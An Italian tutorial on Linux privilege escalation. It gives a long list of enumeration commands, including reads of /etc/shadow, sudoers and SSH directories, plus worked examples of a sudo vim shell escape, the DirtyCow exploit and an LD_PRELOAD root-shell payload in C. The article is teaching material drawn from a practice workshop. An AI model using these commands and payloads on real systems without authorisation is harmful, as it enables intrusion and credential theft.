Guida alla Privilege Escalation nei sistemi Linux

Tempo di lettura: 10 minuti

In questo articolo andrò ad elencare alcune tra le principali tecniche di Privilege Escalation nei sistemi operativi Linux. Per chi non sapesse cosa sia, la privilege escalation (intesa come sorpasso delle autorizzazioni) è l’aumento di privilegi che si possiedono tramite particolari tecniche, come lo sfruttamento di un exploit o di un bug, al fine di poter eseguire azioni che prima non si potevano effettuare.

Esistono due tipologie di privilege escalation:

  1. Verticale
  2. Orizzontale

Per quanto riguarda la prima, è quando un utente con determinati permessi, riesce ad effettuare azioni privilegiate senza (in teoria) averne la possibilità. Nel caso specifico, se su una macchina abbiamo un utenza normale, sfruttando una misconfigurazione, riusciamo ad ottenere permessi di root.

 Esempio di Privilege Escalation verticale
Esempio di Privilege Escalation verticale

Nel caso della scalate verticale, è quando un utente con permessi su determinate aree del sistema, riesce ad ottenere i permessi su altre aree del sistema. Ad esempio è come se in un servizio bancario, riuscissi a visualizzare il conto corrente di un altro utente.

In questo articolo andremo ad analizzare la scalate verticale nei sistemi Linux, ossia come poter sfruttare determinate tecniche per ottenere i privilegi di root.

Metodologia

Come ogni buon processo che si rispetti, anche in questo caso esiste una particolare metodologia e dei passi precisi da eseguire:

  1. Collezionare informazioni: è la parte fondamentale, e consiste nell’enumerazione del sistema, dei file e nell’ottenere più informazioni possibili dal sistema
  2. Processare informazioni: consiste nell’analizzare tutte le informazioni trovate nella fase precedente, al fine di prioritizzarle
  3. Ricerca e approfondimento: una volta ottenute e analizzate le informazioni, bisogna capirle al meglio e trovare il codice vulnerabile, il bug o la misconfigurazione che ci potrebbe permettere l’escalation
  4. Adattamento: se la casistica in esame non è standard, dovremmo adattare l’exploit o scriverne uno al fine di ottenere il risultato sperato
  5. Tentativo: utilizzare ciò che è stato trovato o creato e provare la scalata. Se non funziona, ripartire dall’approfondimento di un altra informazione.

Collezionare informazioni

Una volta ottenuta una connessione con il sistema vittima (ad esempio con una reverse shell), bisogna porsi una serie di domande, come:

  • Che sistema operativo è?
  • Che versione del kernel sta utilizzando?
  • Che programmi ci sono installati?
  • Ci potrebbero essere password salvate in chiaro o con permessi laschi?
  • e via discorrendo..

A queste domande si può rispondere con una serie di comandi, come:

  • Distribuzione Linux e versione (per cercare exploit del kernel):
    • cat /etc/issue     
      
    • cat /etc/*-release  
      
  • Tipologia di architettura (per adattare eventuali exploit):
    • cat /proc/version     
      
    • uname -a     
      
    • uname -mrs     
      
    • rpm -q kernel     
      
    • dmesg | grep Linux  
      
  • Variabili d’ambiente (potrebbero essere salvate informazioni utili):
    • cat /etc/profile     
      
    • cat /etc/bashrc     
      
    • cat ~/.bash_profile     
      
    • cat ~/.bashrc     
      
    • cat ~/.bash_logout     
      
    • cat ~/.nano_history     
      
    • cat ~/.atftp_history     
      
    • cat ~/.mysql_history     
      
    • cat ~/.php_history    
      
    • cat /var/mail/root     
      
    • cat /var/spool/mail/root    
      
    • env  
      
  • Servizi attivi (nel caso in cui qualche processo stia girando con permessi laschi):
    • ps aux     
      
    • ps -ef     
      
    • top     
      
    • cat /etc/services    
      
    • ps aux | grep root     
      
    • ps -ef | grep root    
      
    • dpkg -l               
      
  • Applicazione installate: (potrebbero esserci exploit pubblici per certi software installati)
    • ls -alh /usr/bin/     
      
    • ls -alh /sbin/     
      
    • dpkg -l     
      
    • rpm -qa     
      
    • ls -alh /var/cache/apt/archivesO     
      
    • ls -alh /var/cache/yum/     
      
    • yum list | grep installed     
      
    • Solaris: pkginfo     
      
    • Arch Linux: pacman -Q  
      
  • Applicazioni utili: (per compilare exploit o eseguire script)
    • gcc -v     
      
    • mysql --version     
      
    • java -version     
      
    • python --version     
      
    • ruby -v     
      
    • perl -v  
      
  • Configurazioni di servizi: (password in chiaro, misconfigurazioni, etc)
    • cat /etc/syslog.conf    
      
    • cat /etc/chttp.conf     
      
    • cat /etc/lighttpd.conf     
      
    • cat /etc/apache2/apache2.conf     
      
    • cat /etc/httpd/conf/httpd.conf     
      
    • cat /opt/lampp/etc/httpd.conf    
      
    • cat /etc/php5/apache2/php.ini    
      
    • cat /etc/cups/cupsd.conf    
      
    • cat /etc/my.conf    
      
    • cat /etc/inetd.conf    
      
    • ls -aRl /etc/ | awk '$1 ~ /^._r._/'  
      
  • Jobs schedulati: (nel caso in cui ci siano permessi laschi)
    • crontab -l ls -alh /var/spool/cron     
      
    • ls -al /etc/ | grep cron     
      
    • ls -al /etc/cron*     
      
    • cat /etc/cron*     
      
    • cat /etc/at.allow     
      
    • cat /etc/at.deny     
      
    • cat /etc/cron.allow     
      
    • cat /etc/cron.deny     
      
    • cat /etc/crontab     
      
    • cat /etc/anacrontab     
      
    • cat /var/spool/cron/crontabs/root   
      
  • Configurazione di rete: (per eventuali movimenti laterali successivi e/o per ricavare altre informazioni)
    • /sbin/ifconfig -a     
      
    • cat /etc/network/interfaces     
      
    • cat /etc/sysconfig/netw    
      
    • lsof -nPi     
      
    • lsof -i :80     
      
    • grep 80 /etc/services     
      
    • netstat -tunap     
      
    • netstat -antpx     
      
    • netstat -tulpn     
      
    • chkconfig --list     
      
    • chkconfig --list | grep 3:on last w    
      
    • arp -a     
      
    • route -n     
      
    • /sbin/route -nee     
      
    • ip ro show    
      
    • cat /etc/resolv.conf     
      
    • cat /etc/hosts     
      
    • cat /etc/sysconfig/network     
      
    • cat /etc/networks     
      
    • iptables -L     
      
    • iptables -t nat -L     
      
    • hostname     
      
    • dnsdomainname -I  
      
  • Enumerazione degli utenti (nel caso in cui ci siano utenti privilegiati sfruttabili per effettuare la scalata):
    • id     
      
    • who     
      
    • w     
      
    • last     
      
    • cat /etc/passwd | cut -d : -f 1 # List users     
      
    • grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users     
      
    • awk -F: '($3 == "0") {print}' /etc/passwd # List of super users    
      
    • cat /etc/sudoers    
      
    • sudo -l #which command sudo i can run    
      
    • cat /etc/passwd     
      
    • cat /etc/group     
      
    • cat /etc/shadow     
      
    • ls -alh /var/mail/    
      
    • ls -ahlR /root/     
      
    • ls -ahlR /home/    
      
    • cat /var/apache2/config.inc     
      
    • cat /var/lib/mysql/mysql/user.MYD     
      
    • cat /root/anaconda-ks.cfg    
      
    • getent passwd    
      
    • cat /etc/aliases     
      
    • getent aliases    
      
    • ls -la ~/.ssh/    
      
    • ls -la /etc/ssh/  
      
  • File di log (per ricavare informazioni utili):
    • ls -alh /var/log     
      
    • ls -alh /var/mail     
      
    • ls -alh /var/spool     
      
    • ls -alh /var/spool/lpd     
      
    • ls -alh /var/lib/pgsql     
      
    • ls -alh /var/lib/mysql     
      
    • cat /var/lib/dhcp3/dhclient.leases
      

E potrei continuare ancora con decine di altri comandi! Il problema è che identificare precise informazioni su un sistema composto da magari migliaia e migliaia di file non è semplice e anzi, potrebbe impiegare molto molto tempo.

Fortunatamente ci vengono incontro alcuni script, che automatizzano il processo di raccoglimento delle informazioni e permettono con un comando di trovare la maggior parte di quelle utili (ma non sono perfetti). Tra i più comuni si trovano LinEnum, LinuxPrivChecker e Unix-Privesc-Checker.

Processare informazioni

Una volta eseguiti i vari comandi, bisogna capirli, analizzarli e trovare quale potrebbe essere la strada più semplice per raggiungere l’obiettivo.

Ad esempio, se dopo aver eseguito il comando sudo -l vediamo che si possono eseguire certi comandi con i privilegi di root, un ottima tecnica sarebbe quella di sfruttarli per scalare i privilegi.

Output del comando sudo -l
Output del comando sudo -l
Eseguo vim
Eseguo vim
Apro bash tramite vim
Apro bash tramite vim
Sono root
Sono root

Come potete vedere, grazie ad una misconfigurazione sul sistema, siamo diventati root.

Ricerca e approfondimento

Se durante l’analisi delle informazioni ci imbattiamo in qualcosa che pensiamo debba essere analizzata più opportunamente, nulla ci vieta di cercare in rete se potremmo utilizzare exploit o bug conosciuti.

Nel caso in cui, per esempio, identificassimo una versione datata del kernel, una delle opzioni da prediligere è l’utilizzo di exploit pubblici per la privilege escalation

Versione del sistema operativo e del kernel
Versione del sistema operativo e del kernel
Ricerca dell'exploit tramite searchsploit
Ricerca dell'exploit tramite searchsploit
Compilazione ed esecuzione dell'exploit
Compilazione ed esecuzione dell'exploit
Exploit correttamente eseguito
Exploit correttamente eseguito

In questo caso, il kernel del sistema era vulnerabile all’exploit DirtyCow che ci ha permesso di modificare il file /etc/passwd inserendo la password in chiaro decisa da noi, in modo tale da poterci autenticare come amministratore.

Anche in questo caso esistono tool automatici per la ricerca di exploit pubblici, come Linux-Exploit-Suggester.

Adattamento

Potrebbe capitare che si debba modificare o creare uno script per sfruttare un bug o una misconfigurazione. Ad esempio, quando andiamo ad eseguire sudo -l

LD_PRELOAD
LD_PRELOAD

vediamo che la variabile LD_PRELOAD non è settata ed è possibile sfruttarla per ottenere privilegi di root (LD_PRELOAD è una variabile d’ambiente che elenca le librerie condivise con funzioni che sovrascrivono quelle standard). Per farlo, creiamo un programma C

cat << EOF > shell.c 
void _init() { unsetenv("LD_PRELOAD"); setgid(0); execl("/bin/bash", "-sh", 0); } 
EOF

Nel programmino, puliamo la variabile LD_PRELOAD ed eseguiamo un shell con i permessi di root. Avendo visto tramite sudo -l che possiamo eseguire certi comandi con i privilegi di root, andiamo ad eseguire apache2 impostando LD_PRELOAD uguale al programma appena scritto (compilato come fosse una libreria condivisa)

E siamo diventati root!
E siamo diventati root!

Tentativo

Nel caso (molto probabile) in cui la strada che avete seguito non vi ha portato da nessuna parte, non perdetevi d’animo! È possibile che vi siate persi qualche piccola informazione che non vi ha permesso di trovare il problema, ma basterà ripartire dall’analisi delle informazioni per seguire qualche altra strada.

Conclusioni

Per chi volesse esercitarsi con altri esercizi, gli esempi illustrati nell’articolo sono stati presi da Linux Local Privilege Escalation Workshop, che contiene altri esercizi pratici per imparare. Altre fonti utili per approfondire l’argomento sono: